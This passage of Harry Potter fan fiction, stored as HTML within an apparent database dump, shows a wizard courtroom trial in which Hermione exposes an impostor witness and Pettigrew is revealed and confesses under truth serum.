&#8216;umm&#8217; hardly seems convincing to me to delay his testimony.&nbsp; If you have any questions for him, please ask them now.&#8221;</p>\n\n<p>&#8220;Very well, your lord.&nbsp; I shall continue,&#8221; she said as she turned once again to face Ron.&nbsp; &#8220;Here&#8217;s an easy question for you.&nbsp; Could you please tell the court the names and birth order of all of your siblings?&#8221;</p>\n\n<p>Ron blanched, &#8220;Umm, Charlie&#8230;Percy&#8230;Fred, George and Ginny.&#8221;</p>\n\n<p>&#8220;Nice try.&nbsp; But I think you&#8217;re forgetting your oldest brother.&nbsp; What was his name again?&#8221; she asked egging him on.</p>\n\n<p>&#8220;Umm, I&#8217;m drawing a blank.&#8221;</p>\n\n<p>&#8220;Yes, let me help you.&nbsp; He works for Gringotts in <st1:city><st1:place>Cairo</st1:place></st1:city>?&nbsp; Does <i>that</i> help?&#8221;</p>\n\n<p>&#8220;Umm&#8230;&#8221;</p>\n\n<p>&#8220;See <i>now</i> you&#8217;re using the signal.&nbsp; A little too late though,&#8221; she said mockingly.&nbsp; She then grew serious.&nbsp; &#8220;I&#8217;ll help you.&nbsp; Your oldest brother&#8217;s name is Bilius, but everyone calls him Bill.&nbsp; A few months ago when you went to your brother Charlie&#8217;s funeral &#8211; you found out that you had another brother that was murdered by Death Eaters before you were born.&nbsp; A brother you never knew about.&nbsp; What was <i>his</i> name?&#8221;</p>\n\n<p>Ron looked angry.&nbsp; &#8220;You&#8217;re making this up.&nbsp; There was no other brother.&#8221;</p>\n\n<p>&#8220;David,&#8221; she spat at him.&nbsp; &#8220;His name was David.&#8221;</p>\n\n<p>Arthur Weasley looked directly at Ron and his face was purple with rage.&nbsp; Percy Weasley looked very confused.</p>\n\n<p>Hermione gave a smug smile.&nbsp; She looked like she was getting wound up and going in for the kill.&nbsp; &#8220;Okay, whoever you are &#8211; answer me this &#8211; tell me why I would risk Harry&#8217;s temper during our third year.&nbsp; After Harry&#8217;s broomstick was destroyed in a Quidditch match by the Whomping Willow, he received a Firebolt anonymously for Christmas.&nbsp; I was worried that Sirius Black might have jinxed it and sent it to him so I told Professor McGonagall of my concerns.&nbsp;&nbsp; If I was so scared of Harry&#8217;s temper, if I were <i>petrified</i> of his wrath, why would I have told McGonagall anything?&#8221;</p>\n\n<p>&#8220;Umm...&#8221;</p>\n\n<p>&#8220;Or if you had your life and Ginny&#8217;s life threatened by Harry &#8211; if you were ever so scared of him, why did you refuse to talk with him for an entire month during our fourth year?&#8221;</p>\n\n<p>&#8220;Umm&#8230;&#8221;</p>\n\n<p>&#8220;<i>You </i>were mad at <i>him</i> because you thought he entered his name into the Goblet of Fire and didn&#8217;t let you in on how he tricked it.&nbsp; <i>So you stopped talking to him!</i>&#8221;</p>\n\n<p>Mathews stood again visibly agitated.&nbsp; &#8220;Your lord, I object.&nbsp; She is badgering this witness.&nbsp; And she&#8217;s using a line of questioning that has no bearing on the charges at hand.&#8221;</p>\n\n<p>Hermione smiled at Judge Diggory.&nbsp; &#8220;Your lord, I may be badgering a witness, but he is bearing false witness because&#8230;,&#8221; she paused and gestured towards Ron.&nbsp; </p>\n\n<p>His flaming red hair started to fade into a pale blonde.&nbsp; </p>\n\n<p>&#8220;Because he <i>is a false witness</i>.&nbsp; This is Draco Malfoy!&#8221; she announced. </p>\n\n<p>There were gasps from the gallery.&nbsp; Cotton Mathews stood and his face was contorted.&nbsp; &#8220;Your lord, I had no idea about this.&nbsp; I don&#8217;t know who put him up to this, but I shall find out.&nbsp; I apologize to the court and ask to have this person sequestered until which time I can lead an investigation into this matter.&#8221;</p>\n\n<p>Diggory nodded gravely.&nbsp; &#8220;Your motion is granted.&nbsp; Will the bailiff please remove the witness?&#8221;</p>\n\n<p>Harry looked at Minister Fudge&#8217;s face, but it looked impassive and was impossible to read.&nbsp; Percy Weasley sat shaking his head and muttered to himself.&nbsp; Arthur Weasley was clenching and unclenching his fists and looked venomously in Malfoy&#8217;s direction.&nbsp; </p>\n\n<p>&#8220;Next I call Arabella Figg,&#8221; declared Mathews.</p>\n\n<p>The bailiff moved forward to the chair she was shackled in and administered three drops of Veritaserum and made her swear an oath of honesty.&nbsp; The serum made her face become slack and she struggled to continue to hold the baby in her arms.</p>\n\n<p>&#8220;Professor Figg, how long have you known Sirius Black?&#8221;</p>\n\n<p>&#8220;I first met him in 1978.&nbsp; I trained both him and James Potter as free-lance Aurors.&#8221;</p>\n\n<p>&#8220;You weren&#8217;t working for the Ministry then were you?&#8221; he asked.</p>\n\n<p>&#8220;No.&nbsp; We were working on behalf of Albus Dumbledore.&nbsp; We were his private agents.&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Did you know that a Fidelius Charm was to be performed to protect the Potters?&#8221;</p>\n\n<p>&#8220;I did, but I didn&#8217;t know the particulars.&#8221;</p>\n\n<p>&#8220;What did you think when you heard about Black&#8217;s curse that killed thirteen people?&#8221;</p>\n\n<p>&#8220;I was devastated at the news.&nbsp; I couldn&#8217;t believe that Sirius had done that.&nbsp; It was not at all something that I would have expected from the man that I knew,&#8221; she replied.</p>\n\n<p>&#8220;When was the next time that you saw him?&#8221; </p>\n\n<p>&#8220;Last year, a few days after the Triwizard Tournament.&nbsp; Dumbledore sent him to my house with a message.&nbsp; He told me that Voldemort had risen again and that I was to have a new assignment.&#8221;</p>\n\n<p>&#8220;What proof was offered that You-Know-Who had returned?&#8221; Mathews asked.</p>\n\n<p>&#8220;Dumbledore&#8217;s word.&nbsp; He also told me that he had verified that Sirius was innocent.&#8221;</p>\n\n<p>&#8220;No physical evidence was shown to you?&#8221; he prodded.</p>\n\n<p>&#8220;No.&#8221;</p>\n\n<p>&#8220;And what had been your assignment after Lily and James Potter&#8217;s deaths?&#8221;</p>\n\n<p>&#8220;I was in charge of security over Harry Potter&#8217;s neighbourhood.&#8221;</p>\n\n<p>&#8220;Please describe for the court what these security measures entail,&#8221; coaxed Mathews.</p>\n\n<p>&#8220;I object your lord,&#8221; said Hermione.&nbsp; &#8220;I don&#8217;t believe that these security measures have any bearing on the charges before the court.&nbsp; And should Harry Potter be found not guilty and released, then any such testimony could prove life-threatening to him.&#8221;</p>\n\n<p>Diggory nodded, &#8220;Objection, sustained.&#8221;</p>\n\n<p>Mathews shot Hermione a withering look.&nbsp; He turned back to Professor Figg and continued.&nbsp; &#8220;Please tell the court, who is the father of the child you are holding in your arms.&#8221;</p>\n\n<p>&#8220;Sirius Black,&#8221; she said looking down at Soraya.</p>\n\n<p>&#8220;When did you begin having an intimate relationship with him?&#8221;</p>\n\n<p>&#8220;The night he delivered his message to me.&#8221;</p>\n\n<p>Titters of laughter and gossiping broke out through the courtroom.</p>\n\n<p>&#8220;And how did you help Mr. Black, besides making him <i>comfortable</i>?&#8221; </p>\n\n<p>&#8220;I helped change his outward appearance and helped him obtain his wand.&nbsp; We came up with a cover story to explain why he was staying at my house for a year while I was teaching at Hogwarts.&#8221;</p>\n\n<p>&#8220;So Black was left in charge of Harry Potter&#8217;s home security measures,&#8221; he asked.</p>\n\n<p>&#8220;Yes,&#8221; she said.</p>\n\n<p>&#8220;Tell me the names of all the people that have these amulets?&#8221;</p>\n\n<p>&#8220;Myself, Sirius, Albus Dumbledore, Severus Snape, Remus Lupin, Mundungus Fletcher and Harry Potter,&#8221; she said.</p>\n\n<p>&#8220;Did both Remus Lupin and Mundungus Fletcher know about Sirius Black&#8217;s whereabouts?&#8221;</p>\n\n<p>&#8220;Yes.&#8221;</p>\n\n<p>&#8220;Where are they now?&#8221; Mathews asked.</p>\n\n<p>&#8220;In my house in Little Whinging watching over the security for Privet Drive.&#8221;</p>\n\n<p>&#8220;What is the address?&#8221;</p>\n\n<p>&#8220;Number 8 Magnolia Crescent.&#8221;</p>\n\n<p>&#8220;Two more to be brought in,&#8221; he smiled as he waved to an officer in the corner of the courtroom.&nbsp; That man snapped his heels and quickly left the room.&nbsp; &#8220;Is there anyone else that helped Sirius Black?&#8221; </p>\n\n<p>&#8220;Not that I know of.&#8221;</p>\n\n<p>&#8220;Your witness.&#8221;</p>\n\n<p>Hermione stood and walked over to Professor Figg.&nbsp; &#8220;Hello, Professor.&nbsp; Could you please tell the court why you believed Professor Dumbledore&#8217;s word without any physical evidence?&#8221;</p>\n\n<p>&#8220;Because I&#8217;ve known Albus Dumbledore for over thirty years.&nbsp; I trust him completely.&#8221;</p>\n\n<p>&#8220;And Sirius Black?&#8221;</p>\n\n<p>&#8220;I&#8217;ve known him through many difficult times.&nbsp; We grew very close after the murder of my husband and my miscarriage.&nbsp; When he told me the truth about what had happened with the Potters, it made sense.&nbsp; I realized then how much I loved him, that&#8217;s when we became lovers.&#8221;</p>\n\n<p>&#8220;He didn&#8217;t offer you any physical evidence?&#8221;</p>\n\n<p>&#8220;No, but everything in his story rang true.&nbsp; Later after talking with Harry, other gaps were filled in.&#8221;</p>\n\n<p>&#8220;Thank you, Professor Figg,&#8221; Hermione said as she sat down.</p>\n\n<p>&#8220;Next I call Harry Potter,&#8221; Mathews said with his commanding voice echoing off the back walls.</p>\n\n<p>**</p>\n\n<p>I want to thank the following for taking the time to review my work:&nbsp; amulder,&nbsp; AnimeFanatic, Batgirl, Dream, Full Moon, Heaven, kinicky21, Megan, and SamanthaMarie. </p>\n\n<p>Amulder shared some of his family&#8217;s experience with home births.&nbsp; I would have written a response directly to him, but I couldn&#8217;t find an email address.&nbsp; I gave birth at a birthing center and my midwife had a nurse assisting her.&nbsp; There was another midwife who was there at the end, but only because I gave birth after 9 am and she was just showing up for the dayshift.&nbsp; If my son hadn&#8217;t crowned for over an hour, she would have missed it.&nbsp; I had originally planned to have Arabella birth in the nude because truly it was more comfortable, but some of my betas felt that was a little more explicit than I needed to be.&nbsp; So I deferred to their judgment and didn&#8217;t embarrass Harry as much as he would have been in my first draft.&nbsp; The politics of childbirth, ahhh, that&#8217;s a subject I could expound quite a bit on.&nbsp; I shall resist though.</p>\n\n<p>Cyber brownie points for anyone that knows the significance of the names for the midwife and the inquisitor in this chapter.&nbsp; And as for your questions about Fudge&#8230;just wait until the next chaper!&nbsp; I do realize that this is a horrible place to leave you hanging, but I just love cliffhangers!&nbsp; {Evil laugh.}&nbsp; </p> '),
	(260, 16, ' <p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p><b>Author notes:</b> I\'d like to thank the following for beta reading this chapter: Ama, Cara Hicks, Maria 1314 and Lanski author of &quot;A New Ghost&quot; on The Dark Arts.</p>\n\n<p>Rating:&nbsp; R &#8211; for adult themes and sexual intimacy</p>\n\n<p>Chapter Sixteen &#8211; Habeas Corpus</p>\n\n<p>Harry felt his stomach lurch into his throat.&nbsp; He saw the bailiff come forward with the bottle of Veritaserum and opened his mouth with hesitation.</p>\n\n<p>&#8220;It goes <i>under</i> the tongue,&#8221; the bailiff barked.</p>\n\n<p>Harry lifted his tongue and felt the liquid drop into his mouth.&nbsp; He started to feel like ice was running throughout his veins.&nbsp; His mind was beginning to feel numb.&nbsp; He struggled to concentrate and remember his plan with Hermione.&nbsp; He closed his eyes tightly.&nbsp; The signals, the signals, concentrate, concentrate&#8230;he muttered to himself.&nbsp; It&#8217;s like the Imperius<i>\n\n</i>Curse, just keep focusing your mind&#8230;</p>\n\n<p>&#8220;Mr. Potter, do you know Sirius Black?&#8221; asked Cotton Mathews.</p>\n\n<p>&#8220;Yes.&nbsp; He&#8217;s my godfather.&#8221;</p>\n\n<p>&#8220;Do you recognize these letters which were found in your trunk?&#8221;</p>\n\n<p>&#8220;Yes, they are letters from Sirius.&#8221;&nbsp; </p>\n\n<p>&#8220;How long have you been corresponding with him?&#8221;</p>\n\n<p>&#8220;Two years,&#8221; Harry replied.</p>\n\n<p>&#8220;Have you known his whereabouts for all that time?&#8221; </p>\n\n<p>&#8220;Yes.&nbsp; This year he&#8217;s lived in Little Whinging - a few blocks from my aunt and uncle&#8217;s house.&nbsp; The year before he was hiding in a cave outside Hogsmeade.&#8221;</p>\n\n<p>&#8220;Who else knew that?&#8221;</p>\n\n<p>&#8220;Professor Dumbledore knew about both.&nbsp;&nbsp; Ron and Hermione knew about the cave, but not about Little Whinging.&nbsp; And there was Professor Figg, Snape, Remus Lupin and Mundungus Fletcher that knew his whereabouts this year.&#8221;</p>\n\n<p>Mathews gave a wicked grin to Hermione.&nbsp; &#8220;And can you tell the court how Sirius Black escaped from the castle at the end of your third year?&#8221;</p>\n\n<p>&#8220;Hermione and I were told by Dumbledore to try and make things right.&nbsp; He said we could try and save two innocent lives that night.&nbsp; So we used the Time Turner that Hermione had in order to take multiple classes simultaneously and we went back three hours in time.&#8221;</p>\n\n<p>&#8220;Go on,&#8221; Mathews said menacingly.</p>\n\n<p>&#8220;We untied Buckbeak, a hippogriff who had been scheduled to be executed.&nbsp; We hid him in the <st1:place><st1:placename>Forbidden</st1:placename>\n\n<st1:placetype>Forest</st1:placetype></st1:place> safe from view and then we waited there until we saw our other selves emerge from the Whomping Willow.&nbsp; When the Dementors started to swarm around our other selves, I summoned a Patronus and it chased the Dementors away.&nbsp; Later we flew Buckbeak up to Professor Flitwick&#8217;s office and Sirius climbed out of the window.&nbsp; We went back to the hospital wing just in time and no one knew what had happened, except for Dumbledore.&#8221;</p>\n\n<p>&#8220;Well, well, well.&nbsp; I understand now why Miss Granger was so eager to avoid any questioning.&nbsp; She appears to be guilty of harbouring a fugitive as well as violating a contract with the Ministry of Magic over controlled magical objects.&nbsp; She also helped a prisoner to escape.&nbsp; Yes, I shall enjoy using the Veritaserum on you young lady when your time comes,&#8221; Mathews sneered.</p>\n\n<p>Hermione&#8217;s face was crimson, but her eyes had a hard steely determination in them.&nbsp; She did not blink or turn away from Mathews&#8217; stare.&nbsp; Then he brightened and turned back to Harry.</p>\n\n<p>&#8220;Yesterday, what happened after Sirius Black left Hagrid&#8217;s hut?&#8221;</p>\n\n<p>&#8220;Our amulets became activated &#8211; they grew hot &#8211; which meant that one of us was in mortal danger.&nbsp; I listened to Dumbledore&#8217;s instructions to get my broomstick and Invisibility Cloak and to meet Professor Snape.&nbsp; He and I flew over the forest in search of where they were holding him.&nbsp; We started to&#8230;&#8221;</p>\n\n<p>&#8220;Did you attack Bode or Croaker?&#8221;</p>\n\n<p>&#8220;I attacked Bode, Snape got Croaker,&#8221; said Harry.</p>\n\n<p>&#8220;And how did you attack him?&#8221;</p>\n\n<p>&#8220;I saw pine needles on the forest floor.&nbsp; I transfigured them into sewing needles and sent them in his direction.&nbsp; They flew into his face.&nbsp; Then I returned them to their normal form.&#8221;</p>\n\n<p>&#8220;Yes, that is what led to his blindness.&nbsp; If he had proper medical attention immediately his vision might have been saved.&nbsp; What happened to Macnair?&#8221;</p>\n\n<p>&#8220;Buckbeak who had been living in the <st1:place><st1:placename>Forbidden</st1:placename>\n\n<st1:placetype>Forest</st1:placetype></st1:place> saw Macnair.&nbsp; The hippogriff was trying to protect Sirius, he probably remembered that Macnair was the one who was supposed to execute him.&nbsp; Buckbeak charged him and crushed a lot of bones and caused internal injuries. I called out to Buckbeak just as he was about to crush his skull and begged him to stop.&nbsp; Snape disarmed them all and readied them for transport back to the castle.&nbsp; I released Sirius and we were all levitating them back on stretchers to the castle when we were arrested.&#8221;</p>\n\n<p>&#8220;Tell me, Mr. Potter, this past summer when you were home.&nbsp; Did you see your godfather when he was living only a few blocks away?&#8221; asked Mathews.</p>\n\n<p>&#8220;Yes.&nbsp; I went over there every day.&#8221;</p>\n\n<p>&#8220;And did you do anything while you were there?&#8221;</p>\n\n<p>&#8220;Yes, Professor Figg and Sirius were giving me private lessons.&#8221;</p>\n\n<p>&#8220;Piano lessons?&nbsp; Dance lessons?&nbsp; What <i>kind</i> of lessons?&#8221;</p>\n\n<p>&#8220;Magic lessons.&nbsp; They helped me with Transfiguration and also with Animagus training,&#8221; Harry said.</p>\n\n<p>&#8220;Ahhh, more charges against him.&nbsp; He admits to repeatedly violating the underage wizarding law.&nbsp; Flouted the law in fact.&nbsp; And engaged in unauthorized Animagus training, to boot.&nbsp; Please tell the court, what kind of animal were you training to become?&#8221;</p>\n\n<p>&#8220;A snake.&#8221;</p>\n\n<p>&#8220;<i>A Snake?</i>&nbsp; That&#8217;s your inner spirit?&nbsp; A Serpent?&nbsp; Ladies and Gentleman, what more do I need to show you that this lad is Evil?&nbsp; In his own words, Harry Potter admits to acting to free a prisoner, to aid, abet and harbour a fugitive, he admits to attacking Ministry of Magic agents, to violating the Ministry of Magic&#8217;s strict regulations regarding Time Turners, to flouting the underage Wizarding laws, and not only can he converse with snakes, but his <i>inner spirit is that of a serpent.</i>&nbsp; A symbol that is widely recognized as belonging to the darkest of all wizards.&nbsp; He deserves to be given a life sentence in Azkaban!&#8221;</p>\n\n<p>He then turned in a flourish to Hermione and snarled, &#8220;Your witness!&#8221;</p>\n\n<p>Hermione was beginning to stand when Soraya started crying.&nbsp; Professor Figg tried to rearrange her clothes to feed the baby but her manacles were in the way.</p>\n\n<p>&#8220;Excuse me, Judge Diggory.&nbsp; But my daughter needs to be fed.&nbsp; Could someone please remove the restraints from my hands so that I can feed her?&nbsp; She may also need to be changed.&nbsp; Perhaps this might be a good time for a recess?&nbsp; I&#8217;m sure others might appreciate a chance to relieve themselves.&#8221; </p>\n\n<p>Diggory looked about the room and heads were nodding in every direction.</p>\n\n<p>&#8220;Very well, the court stands in recess,&#8221; he said as he rapped his gavel.&nbsp; &#8220;We will reconvene in fifteen minutes.&nbsp; Bailiffs, please ask the defendants if they wish to use the facilities and escort them if they do.&#8221;</p>\n\n<p>Hermione walked up to Harry as he was being taken away by a bailiff.</p>\n\n<p>&#8220;Did you get the stuff?&#8221; he asked.</p>\n\n<p>&#8220;Yes, but I still don&#8217;t know why&#8230;&#8221; she stammered.</p>\n\n<p>Harry looked at her and mouthed two words he had learned from working with her on his expulsion defence.&nbsp; She looked at him with a furrowed brow and then started to thumb through her law book.&nbsp; As she started reading a look of comprehension dawned on her and she gave Harry a huge smile.&nbsp; He breathed a sigh of relief as he left the courtroom.&nbsp; He knew she could make this work.&nbsp;&nbsp; He just had to keep his wits about him.</p>\n\n<p>After the courtroom reconvened, Hermione stood and looked at Harry.&nbsp; She smiled and licked her lips, &#8220;Well, Harry&#8230;&#8221;</p>\n\n<p>He blinked slowly and said, &#8220;Er, yeah, Hermione?&#8221;</p>\n\n<p>&#8220;Okay, we&#8217;ll start,&#8221; she said brightly.&nbsp; &#8220;He at least passed the signal test.&nbsp; Harry, you were never given the opportunity to tell the court why you trust Sirius Black.&nbsp; What happened that night two years ago at the Shrieking Shack when we first met your godfather?&#8221;</p>\n\n<p>Harry relayed the story of how Ron was dragged to the shack and how he and Hermione had followed in an effort to rescue Ron.&nbsp; How Remus Lupin had followed them to the Shrieking Shack thinking that they needed rescuing, but wound up instead siding with Sirius.&nbsp; He retold the strange story of the Marauders and how three friends became unregistered Animagi to help Lupin in his werewolf state.&nbsp;&nbsp; Then he told how Scabbers was revealed to be Peter Pettigrew, the Potters&#8217; actual Secret-Keeper and the person who had betrayed Lily and James Potter.</p>\n\n<p>Minister Fudge stood at this point.</p>\n\n<p>&#8220;Your lord, as entertaining as this may be, I must object.&nbsp; I heard this fairy tale two years ago.&nbsp; Frankly, I&#8217;ve become very tired of it.&nbsp; Professor Snape himself was in the Shrieking Shack that night and swore that Black had put the children under a Confundus Charm.&nbsp; I don&#8217;t know why Snape has sided with Black now, but&#8230;I see no evidence to contradict that while Potter may <i>believe</i> he saw Peter Pettigrew, that it wasn&#8217;t just him being Confunded.&#8221;</p>\n\n<p>Harry Potter started to sneeze.&nbsp; He sneezed three times.</p>\n\n<p>Hermione then crossed to Judge Diggory&#8217;s desk.&nbsp; &#8220;Your lordship, at this time &#8211; I would like to bring forth the evidence that Minister Fudge is demanding.&#8221;</p>\n\n<p>&#8220;What?&#8221; Diggory asked in surprise.</p>\n\n<p>She dug into the pocket of her robe and brought forth a small bottle.&nbsp; &#8220;Here your lord, is a bottle of ordinary Muggle medicine.&nbsp; Serum of epicac.&nbsp; You can inspect it, there&#8217;s nothing magical or untoward about it.&nbsp; It&#8217;s unopened and untampered with.&#8221;</p>\n\n<p>&#8220;And what do you want to do with this?&#8221; he asked.</p>\n\n<p>&#8220;Harry Potter asked me to get this for use during these proceedings.&nbsp; I didn&#8217;t understand why until a few minutes ago.&nbsp; Please let me administer this to my client and you will see.&nbsp; And can someone get a basin for him?&#8221;</p>\n\n<p>A bailiff quickly returned with a basin, which was handed to Harry.&nbsp; He took a few swigs from the bottle and soon started to look green around the gills.</p>\n\n<p>&#8220;Mr. Mathews could you have your wand drawn and at the ready please?&#8221; Hermione asked as she watched Harry intently.</p>\n\n<p>&nbsp; Harry began to retch violently and Hermione thrust her hand into the basin.&nbsp; She grasped the tail of a wriggling rat with a silver paw.&nbsp; </p>\n\n<p>&#8220;<i>Habeas corpus!</i>&nbsp; You have the body,&#8221; she said to gasps throughout the room.&nbsp; </p>\n\n<p>A few of the spectators in the front row seemed to have trouble keeping their lunch down in response to the scene before them.</p>\n\n<p>&#8220;Please Mr. Mathews, if you could transform him for us please,&#8221; said Hermione as she held the rat aloft.</p>\n\n<p>Mathews trained his wand on the rat and blue-white light sparked all over it.&nbsp;&nbsp; The form grew and stretched until Peter Pettigrew stood before the courtroom.&nbsp; Cotton Mathews quickly disarmed him and conjured ropes around Pettigrew&#8217;s arms and legs.&nbsp; Shrieks were heard throughout the court.</p>\n\n<p>&#8220;Ladies and Gentlemen, may I present Peter Pettigrew,&#8221; Hermione announced.&nbsp; &#8220;A man who had been awarded the Order of Merlin, First Class <i>posthumously</i> for having tracked down Sirius Black and for having &#8216;lost&#8217; that duel.&nbsp; It should be obvious to everyone in this room that he is not dead.&nbsp; Perhaps that indicates the award he received is something he did not rightfully earn.&nbsp; I ask that the court allow me to interrupt my cross-examination of Harry Potter and allow me to interrogate Mr. Pettigrew.&#8221;</p>\n\n<p>&#8220;So granted,&#8221; said Diggory.</p>\n\n<p>Minister Fudge started fidgeting in his seat.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Could you please administer Veritaserum to this witness?&#8221; Hermione asked the bailiff.&nbsp; She glanced at Diggory, who nodded assent.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The bailiff stepped forward and yanked Pettigrew&#8217;s head back.&nbsp; He put the dropper under his tongue.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For the record, could you please state your name for the court and any aliases you may have,&#8221; Hermione asked.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My name is Peter Pettigrew.&nbsp; I also go by Wormtail.&nbsp; I was also known as Scabbers,&#8221; he said tonelessly.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;A Fidelius Charm was performed to protect James and Lily Potter.&nbsp; Were you the Potters&#8217; Secret-Keeper?&#8221; she asked.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes.&#8221;</p>\n\n<p>&#8220;Was Sirius Black also a Secret-Keeper?&#8221;</p>\n\n<p>&#8220;No, it was Sirius&#8217;s idea that I be made the Secret-Keeper.&nbsp; He thought it would be a good bluff because no one would have expected that the Potters would entrust such a responsibility with me.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How did Voldemort find the Potters?&#8221; asked Hermione.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I led him to their house.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He is your master?&#8221; </p>\n\n<p>&#8220;Yes,&#8221; he said shivering.</p>\n\n<p>&#8220;Are you a Death Eater?&#8221;</p>\n\n<p>&#8220;Yes.&#8221;</p>\n\n<p>&#8220;What happened the day after the Potters were killed, when you saw Sirius Black?&#8221;&nbsp; </p>\n\n<p>&#8220;Sirius tracked me down.&nbsp; I knew he wanted to kill me for revenge, but he was afraid to do anything with so many Muggles around.&nbsp; I caused a diversion and then I threw a tickling charm on Sirius.&nbsp; It distracted him long enough for me to cast a flame-freezing charm on myself and then cause an explosion that killed a dozen or so Muggle bystanders.&nbsp; The curse was so violent that it exploded my wand.&nbsp; I cut my finger off and dripped blood all over my robes and threw them out with the finger onto the pavement.&nbsp; Then I transformed into a rat and ran down the sewer.&#8221;</p>\n\n<p>&#8220;Did you find your way into a wizarding family?&#8221; Hermione prodded.</p>\n\n<p>&#8220;Yes, the Weasleys.&nbsp; I belonged to Percy Weasley for many years and then later to Ron Weasley.&#8221;</p>\n\n<p>Percy shifted uncomfortably in his seat.</p>\n\n<p>&#8220;Two years ago, the night you escaped after Sirius Black exposed you for what you were, what did you do?&#8221; asked Hermione.</p>\n\n<p>&#8220;I left and found where my master had been hiding in <st1:country-region><st1:place>Albania</st1:place></st1:country-region>.&nbsp; I helped nurse him back to health.&nbsp; He needed a body to possess, so I kidnapped a Muggle baby from a park and he possessed that body until we could perform a ceremony and get him his own adult body back.&#8221;</p>\n\n<p>&#8220;Did Voldemort come up with a plan for Harry Potter?&#8221; she asked.</p>\n\n<p>&#8220;Yes.&nbsp; I met Bertha Jorkins by accident at a tavern, but brought her back to my master.&nbsp; He tortured her and found out about the Quidditch World Cup and plans for the Triwizard Tournament.&nbsp; He also found out that Bartemius Crouch, Jr. was still alive and living in his father&#8217;s house.&#8221;</p>\n\n<p>Gasps were audible from the crowd around them.</p>\n\n<p>&#8220;Please continue,&#8221; Hermione urged.</p>\n\n<p>&#8220;Crouch, Sr. had spirited his son out of Azkaban when his wife was near death.&nbsp; She died in the wizard prison while appearing to be her son with the aid of Polyjuice Potion.&nbsp; Crouch, Jr. had lived secretly in his father&#8217;s house and under the Imperius curse&nbsp; for years.&nbsp; My master and I overpowered Crouch, Sr. and liberated Barty Jr.&nbsp; My master planned that Crouch, Jr. would impersonate Alastor Moody at Hogwarts.&nbsp; Crouch and I went to Moody&#8217;s house, attacked him and held him prisoner in his own magical trunk.&nbsp; Crouch used Polyjuice Potion to pass himself off as Moody all year long.&nbsp; Crouch was the one to put Harry Potter&#8217;s name in the Goblet of Fire.&nbsp; He helped Potter by giving him hints during the year so that he would win the tournament and be transported by Portkey to the graveyard.&nbsp; There I performed a ceremony where I cut off my hand,&#8221; he raised his silver hand to the crowd.&nbsp; &#8220;I also took Harry Potter&#8217;s blood forcibly to create the potion which brought my master&#8217;s body back.&#8221;</p>\n\n<p>There were now screams from all over the room.&nbsp; Terror was evident in their faces.</p>\n\n<p>&#8220;Silence!&#8221;&nbsp; Diggory banged his gavel.&nbsp; &#8220;I will have silence in my courtroom.&nbsp; Anyone who speaks out of turn will be removed.&#8221; </p>\n\n<p>Hermione took a deep breath and then continued.</p>\n\n<p>&#8220;Just a few more questions.&nbsp; Who killed Cedric Diggory?&#8221;</p>\n\n<p>&#8220;I did.&nbsp; My master ordered it.&#8221;</p>\n\n<p>Judge Diggory&#8217;s eyes were trained on Pettigrew and were filled with pure venom.</p>\n\n<p>&#8220;What happened last Halloween night at Azkaban?&#8221;</p>\n\n<p>&#8220;Wallace Avery and I accompanied our master.&nbsp; He promised the Dementors that they&#8217;d have better prey if they followed him.&nbsp;&nbsp; Most of the prisoners were released and joined my master immediately.&nbsp; Two were hopelessly insane or near death, so they were killed to make it look like the Dementors might have killed everyone.&nbsp; It was a deliberate attempt to sow confusion.&#8221;</p>\n\n<p>&#8220;Do you know anything about Charlie Weasley&#8217;s death?&#8221;</p>\n\n<p>&#8220;Yeah, Macnair was responsible for it,&#8221; he answered.&nbsp; &#8220;It was to punish Arthur Weasley for not joining my master&#8217;s forces.&#8221;</p>\n\n<p>Mr. Weasley&#8217;s face had a look of absolute murderous rage.&nbsp; Percy sat shaking his head as if he couldn&#8217;t believe what he was hearing.</p>\n\n<p>&#8220;What happened at his funeral?&#8221;</p>\n\n<p>&#8220;I was sent there since I knew the area well.&nbsp; Percy and his brothers used to play on Stoatshead Hill.&nbsp; I knew exactly which standing stone to hide behind and I transfigured the flowers into adders.&nbsp; My master hoped that it might cause Harry to perform magic outside of school and get him expelled.&#8221;</p>\n\n<p>&#8220;Why was Sirius Black in the <st1:place><st1:placename>Forbidden</st1:placename>\n\n<st1:placetype>Forest</st1:placetype></st1:place> yesterday?&#8221; Hermione asked.</p>\n\n<p>&#8220;We were setting a trap for Harry Potter.&nbsp; I was to bring him back to my master.&#8221;</p>\n\n<p>&#8220;The Ministry officials that were with you, are they Death Eaters?&#8221; she asked.</p>\n\n<p>&#8220;Macnair is.&nbsp; Bode and Croaker are spies for us.&nbsp; They&#8217;ve never been formally initiated as Death Eaters.&#8221;</p>\n\n<p>Hermione nodded and then pressed further.&nbsp; &#8220;How many people in the Ministry are Death Eaters?&#8221; </p>\n\n<p>&#8220;My master has recruited supporters and spies in every department.&nbsp; I don&#8217;t know how many there are, but there are at least thirty 